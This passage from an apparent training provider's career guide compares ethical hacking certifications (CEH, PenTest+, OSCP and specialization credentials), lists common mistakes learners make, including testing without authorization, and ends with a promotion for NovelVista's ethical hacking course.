- Professionals who want a certification that explicitly validates reporting and communication skills
- Those who prefer a vendor-neutral credential
- Candidates who are already comfortable with the EC-Council ecosystem from other certifications

PenTest+ — Key facts:

Detail	Information
Exam format	Maximum 85 questions — multiple choice and performance-based
Duration	165 minutes
Passing score	750 out of 900
Prerequisites	Network+ and Security+ recommended — 3 years hands-on experience ideal
Validity	3 years — CE program for renewal

The bottom line on CEH vs PenTest+: Both are solid entry credentials. If your target employers or roles specifically list one — pursue that one. If you're choosing freely — CEH v13 has broader global recognition and the new v13 updates make it more practically focused than previous versions. PenTest+ is the stronger choice for US government and defense roles and for those who want explicit validation of reporting skills.

Certification 2: OSCP — Offensive Security Certified Professional

What it is: The OSCP — offered by Offensive Security — is widely regarded as the **gold standard of penetration testing certifications**. Unlike CEH and PenTest+ which include multiple choice components, OSCP is a **100% practical, hands-on exam**. You have 23 hours and 45 minutes to compromise a set of target machines in an isolated exam environment — and then 24 hours to write and submit a professional penetration testing report documenting your findings.

There is no multiple choice. There is no partial credit for almost getting there. You either compromise the machines and document it professionally — or you don't pass.

This is exactly what makes OSCP so valuable and so respected by hiring managers. It's not possible to pass OSCP by memorizing facts or guessing on multiple choice questions. Every OSCP holder has demonstrated genuine, hands-on penetration testing capability under pressure.

What OSCP requires:

- Completion of Offensive Security's **PEN-200 course** — "Penetration Testing with Kali Linux" — which provides the technical curriculum and lab access
- Extensive practice in the PEN-200 lab environment — hundreds of machines to compromise
- A disciplined, methodical approach to penetration testing — OSCP rewards process and persistence above all

What OSCP covers:

Domain	Key Topics
Information gathering	Active and passive recon, enumeration techniques
Vulnerability scanning	Manual and automated vulnerability identification
Web application attacks	SQL injection, file inclusion, command injection
Buffer overflows	Windows and Linux basic buffer overflow exploitation
Client-side attacks	Malicious files, browser exploitation
Privilege escalation	Windows and Linux escalation paths
Password attacks	Credential dumping, hash cracking, password spraying
Active Directory attacks	AD enumeration, Kerberoasting, Pass-the-Hash, DCSync

OSCP — Key facts:

Detail	Information
Exam format	100% practical — 23 hours 45 minutes to compromise machines
Reporting	24 hours post-exam to submit professional penetration testing report
Passing score	70 out of 100 points
Prerequisites	None formally — but solid TCP/IP, Linux, and scripting knowledge essential
Lab access	Included with course purchase — 90-day lab access recommended
Validity	Does not expire — a significant advantage
Industry status	Required or strongly preferred by many senior penetration testing employers

Preparing for OSCP — realistic expectations:

OSCP is genuinely challenging. The most important preparation advice:

1. **Complete the 6-month roadmap first** — OSCP candidates who have worked through HackTheBox and TryHackMe systematically are significantly better prepared than those who attempt it cold
2. **Complete at least 30–50 HackTheBox machines** before the exam — including medium and hard difficulty Windows and Linux machines
3. **Practice the Try Harder methodology** — OSCP famously emphasizes persistence and independent problem-solving. Get comfortable sitting with difficult problems before reaching for hints.
4. **Master your reporting** — the exam report is worth significant points and must be professional quality. Practice writing reports throughout your preparation — not just at the end.
5. **Allow 3–6 months of dedicated preparation** after completing your entry-level certification

The OSCP try harder culture — a balanced perspective: OSCP's "Try Harder" ethos is genuine and valuable — learning to persist through difficult problems independently is a real skill that professional penetration testers need. At the same time, strategic use of community resources, writeups for retired machines, and structured study is entirely appropriate preparation. Persistence and smart preparation aren't mutually exclusive.

Beyond OSCP — Specialization Certifications

Once you have OSCP, your certification path branches based on your chosen specialization:

Specialization	Recommended Certification	Offered By
Web Application Testing	OSWE — Offensive Security Web Expert	Offensive Security
Active Directory / Red Teaming	CRT0 — Certified Red Team Operator	Zero-Point Security
Advanced Exploitation	OSED — Offensive Security Exploit Developer	Offensive Security
Cloud Penetration Testing	AWS Security Specialty + cloud-specific pentesting certs	AWS / various
Mobile Application Testing	GMOB — GIAC Mobile Device Security Analyst	GIAC

These are longer-term targets — typically pursued 12–24 months after achieving OSCP, once you have professional experience to complement the certification preparation.

Certification Path — Timeline Summary

Certification	When to Pursue	Preparation Time	Primary Value
CEH v13 or PenTest+	Month 5–6 of roadmap	6–8 weeks	Entry-level validation, job market access
OSCP	6–12 months post-entry cert	3–6 months	Gold standard — senior role access
Specialization certs	Post-OSCP with experience	Varies	Career differentiation and depth

Common Mistakes Aspiring Ethical Hackers Make — And How to Avoid Them

Even motivated, talented learners make avoidable mistakes that slow their progress or limit their career outcomes. Here are the most important ones to watch for:

Mistake 1: Tool Collecting Without Skill Building

What happens: A learner installs Kali Linux, runs through a list of tools — Nmap, Metasploit, Burp Suite, Nikto, Gobuster — and feels productive. But when faced with an actual target that doesn't yield immediately to automated scanning, they have no idea what to do next. The tools become a collection rather than a toolkit.

How to avoid it:

- For every tool you use — understand what it's doing at a network or application level before relying on its output
- Practice manual techniques alongside automated tools — manual SQL injection before sqlmap, manual enumeration before automated scanners
- Ask yourself after every tool run: *"Do I understand what this output means and why?"* If the answer is no — go deeper before moving on

Mistake 2: Skipping Documentation and Reporting

What happens: A learner completes dozens of HackTheBox machines and TryHackMe rooms — but never writes a single structured report or documents their methodology beyond personal notes. When they reach job interviews and are asked to demonstrate professional reporting capability — or when they attempt OSCP and discover the report is worth significant marks — they realize they've built technical skills without the professional skills that make those technical skills employable.

How to avoid it:

- Write a structured report for every machine you complete — even a brief one
- Treat every lab exercise as a client engagement — what would you tell a client about what you found and how to fix it?
- Build a reporting template early and refine it throughout your learning journey
- Practice writing executive summaries — translating technical findings into business language is a skill that sets strong candidates apart

Mistake 3: Ignoring the Legal and Ethical Framework

What happens: Enthusiasm for the technical aspects of ethical hacking leads some learners to test systems they don't have explicit permission to test — even innocently, like scanning a neighbor's network or probing a company's website without authorization. The legal consequences can be severe — and the ethical consequences are significant regardless of intent.

How to avoid it:

- Only ever practice on systems you own, systems provided by practice platforms (TryHackMe, HackTheBox), or systems you have explicit written permission to test
- Understand the Computer Fraud and Abuse Act (CFAA) in the US, the Computer Misuse Act in the UK, and equivalent legislation in your jurisdiction
- Treat authorization as non-negotiable — always — not just when it's convenient
- Remember that being a trusted ethical hacker is a professional reputation built over years and destroyed in an instant

Mistake 4: Rushing to Advanced Techniques Without Solid Fundamentals

What happens: A learner skips or rushes through networking fundamentals, Linux basics, and security concepts — impatient to get to "the interesting stuff" like exploitation and Active Directory attacks. They can follow tutorials on advanced techniques but can't adapt when a target doesn't behave exactly as the tutorial described — because they don't understand what's happening underneath.

How to avoid it:

- Respect Stage 1 of the roadmap — it's the foundation everything else is built on
- Test your fundamentals regularly — can you explain TCP handshakes, subnet masks, and Linux file permissions without looking them up? If not, go back.
- When you get stuck on an advanced technique — the root cause is almost always a gap in fundamentals. Fix the gap rather than finding a workaround.

Mistake 5: Learning in Isolation Without Community Engagement

What happens: A learner works through the roadmap entirely alone — no forums, no Discord communities, no CTF teams, no peer learning. Progress is slower than it needs to be, motivation is harder to sustain, and the professional network that opens career doors never gets built.

How to avoid it:

- Join the TryHackMe and HackTheBox Discord communities — ask questions, help others, participate in discussions
- Participate in Capture the Flag (CTF) competitions — even beginner-level CTFs accelerate learning significantly and are genuinely enjoyable
- Follow ethical hacking professionals on LinkedIn and engage with their content thoughtfully
- Find a study partner or small group working through the same roadmap — accountability and peer learning multiply progress

Mistake 6: Waiting for Permission to Start

What happens: An aspiring ethical hacker spends months researching the best starting point, the perfect certification sequence, the ideal learning resources — without actually starting. Paralysis by analysis is real, and in ethical hacking — a field where hands-on practice is the primary driver of competence — time spent not practicing is the most expensive mistake of all.

How to avoid it:

- Start today — not next week, not when you have the perfect setup
- Create a free TryHackMe account and complete the first room this evening
- The roadmap in this article is your starting point — follow it, adapt it as you learn more about your own strengths and interests, but start now
- Perfect preparation is a myth — competence comes from doing, not from planning to do

Wrapping Up: The Ethical Hacking Career Is Built One Skill at a Time

The cybersecurity skills gap isn't going to close itself. Organizations desperately need professionals who can think like attackers, test their defenses honestly, and communicate findings in ways that drive real security improvements. That demand creates genuine, sustained career opportunity — for professionals who invest in building the right skills in the right sequence.

Throughout this article and roadmap, we've mapped out exactly how to do that:

- A **3-stage learning roadmap** that takes you from complete beginner to job-ready professional in 6 focused months
- A **week-by-week learning plan** that structures every month with clear priorities and time commitments
- A **tool learning sequence** — Nmap, Wireshark, Metasploit, Burp Suite — that builds technical capability in a logical, progressive order
- A **lab practice tracker** for TryHackMe and HackTheBox that turns platform practice into a documented, portfolio-building activity
- A **certification path** — CEH v13 or PenTest+, then OSCP, then specialization — that validates your skills at each stage of your career
- **Six common mistakes** and exactly how to avoid each one

The path is clear. The tools are accessible. The practice platforms are available right now. What happens next depends entirely on how seriously you take the first step.

Certified Ethical Hacking Training & Certification

Trusted by 1000s of global organizations, NovelVista is the leading Accredited Training Organization (ATO) to conduct Ethical Hacking Training & Certification Course.



ABOUT CERTIFICATION



ACCREDITED TRAINING PROVIDER

We are an Approved Training Organization (ATO) delivering globally recognized training.



EXPERT-LED TRAINING

Learn from industry-leading experts with real-world experience.



EXAM READINESS SUPPORT

We prepare you thoroughly for official certification exams.



FLEXIBLE LEARNING MODES

Choose from classroom, online, or self-paced training.

LEARNING OBJECTIVE

- Ethical Hacking best practices
- Ethical Hacking tools and techniques.
- How to increase security and reduce threats
- How to build & architect security system

Enroll In Any Course And
Get Up To **40% Discount**
Limited-Time Offer

Enroll Now